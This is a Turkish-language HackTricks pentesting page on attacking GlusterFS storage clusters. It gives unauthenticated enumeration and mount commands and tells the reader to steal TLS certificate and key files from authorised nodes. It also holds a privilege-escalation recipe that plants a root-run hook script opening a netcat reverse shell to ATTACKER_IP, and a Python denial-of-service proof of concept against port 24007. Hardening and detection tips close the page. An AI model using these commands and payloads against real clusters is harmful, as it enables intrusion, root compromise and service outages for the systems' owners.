24007-24008-24009-49152 - Pentesting GlusterFS
Reading time: 5 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Temel Bilgiler
GlusterFS, birden fazla sunucudan depolamayı tek bir birleşik ad alanı içinde birleştiren bir dağıtık dosya sistemidir. Yönetim daemon'u (glusterd
) varsayılan olarak 24007/TCP üzerinde dinler ve 49152/TCP'de başlayan veri düzlemi tuğlalarına talimat verir (her tuğla için bir port, artan şekilde). 9.x sürümlerinden önce 24008–24009/TCP tuğla taşımak için kullanılıyordu, bu nedenle eski kümelerde bu portlarla karşılaşmaya devam edeceksiniz.
PORT STATE SERVICE VERSION
24007/tcp open glusterd GlusterFS (RPC)
49152/tcp open gluster-brick SSL (TLS optional)
İpucu: 24007, depolama yalnızca düğümleri herhangi bir hacim yayınlamadığında bile RPC çağrılarına yanıt verir; bu nedenle hizmet, büyük altyapılar içinde güvenilir bir pivot hedefidir.
Sayım
Saldırı kutunuzda istemci yardımcı programlarını kurun:
sudo apt install -y glusterfs-cli glusterfs-client # Debian/Ubuntu
- Eşler keşfi ve sağlık
# List peers (works without authentication in default setups)
gluster --remote-host 10.10.11.131 peer status
- Hacim keşfi
# Retrieve the list of all volumes and their configuration
gluster --remote-host 10.10.11.131 volume info all
- Yetkisiz olarak bağlama
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/gluster
Eğer montaj başarısız olursa, istemci tarafında /var/log/glusterfs/<vol_name>-<uid>.log
dosyasını kontrol edin. Yaygın sorunlar şunlardır:
- TLS zorlaması (
option transport.socket.ssl on
) - Adres tabanlı erişim kontrolü (
option auth.allow <cidr>
)
Sertifika sorun giderme
Herhangi bir yetkili istemci düğümünden aşağıdaki dosyaları çalın ve bunları /etc/ssl/
(veya hata günlüğünde gösterilen dizin) içine yerleştirin:
/etc/ssl/glusterfs.pem
/etc/ssl/glusterfs.key
/etc/ssl/glusterfs.ca
Bilinen Güvenlik Açıkları (2022-2025)
CVE | Etkilenen sürümler | Etki | Notlar |
---|---|---|---|
CVE-2022-48340 | 10.0–10.4, 11.0 | Ağ üzerinden erişilebilen dht_setxattr_mds_cbk içinde kullanımdan sonra serbest bırakma | Uzaktan DoS ve muhtemel RCE. 10.4.1 / 11.1'de düzeltildi. |
CVE-2023-26253 | < 11.0 | FUSE bildirim işleyicisinde sınır dışı okuma | Özel FS işlemleri aracılığıyla uzaktan çökme; kamuya açık PoC mevcut. |
CVE-2023-3775 | < 10.5 / 11.1 | gluster_shared_storage bağlanırken yanlış izin doğrulaması | Herhangi bir kimlik doğrulaması yapılmamış istemcinin yönetici hacmini bağlamasına izin verir – aşağıda açıklanan priv-esc ile sonuçlanır. |
Her zaman
gluster --version
her düğümde kontrol edin; kısmi güncellemelerden sonra heterojen kümeler yaygındır.
gluster_shared_storage
'ı Sömürmek (Yetki Yükseltme)
Son sürümlerde bile birçok yönetici özel gluster_shared_storage
hacmini dünya genelinde okunabilir bırakıyor çünkü bu, coğrafi çoğaltmayı basitleştiriyor. Hacim, her düğümde root ile çalışan cronjob şablonlarını içerir.
# 1. Mount admin volume anonymously
mkdir /tmp/gss && sudo mount -t glusterfs 10.10.11.131:/gluster_shared_storage /tmp/gss
# 2. Drop malicious script that gets synchronised cluster-wide
cat <<'EOF' > /tmp/gss/hooks/1/start/post/test.sh
#!/bin/bash
nc -e /bin/bash ATTACKER_IP 4444 &
EOF
chmod +x /tmp/gss/hooks/1/start/post/test.sh
# 3. Wait until glusterd distributes the hook and executes it as root
Eğer hooks/1/
mevcut değilse, /ss_bricks/
için arama yapın – tam yol ana sürüme göre değişiklik gösterebilir.
Hizmet Reddi PoC (CVE-2023-26253)
#!/usr/bin/env python3
# Minimal reproducer: sends malformed NOTIFY_REPLY XDR frame to 24007
import socket, xdrlib, struct
p = xdrlib.Packer(); p.pack_uint(0xdeadbeef)
with socket.create_connection(("10.10.11.131",24007)) as s:
s.send(struct.pack("!L", len(p.get_buffer())|0x80000000))
s.send(p.get_buffer())
glusterfsd
< 11.0 sürümünde script çalıştırmak çökmesine neden olur.
Güçlendirme & Tespit
- Güncelleme – mevcut LTS 11.1'dir (Temmuz 2025). Yukarıdaki tüm CVE'ler düzeltilmiştir.
- Her brick için TLS'yi etkinleştirin:
gluster volume set <vol> transport.socket.ssl on
gluster volume set <vol> transport.socket.ssl-cert /etc/ssl/glusterfs.pem
- CIDR listeleri ile istemcileri kısıtlayın:
gluster volume set <vol> auth.allow 10.0.0.0/24
- Yönetim portu 24007'yi yalnızca özel VLAN üzerinde veya SSH tünelleri aracılığıyla açığa çıkarın.
- Logları izleyin:
tail -f /var/log/glusterfs/glusterd.log
ve audit-log özelliğini yapılandırın (volume set <vol> features.audit-log on
).
Referanslar
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.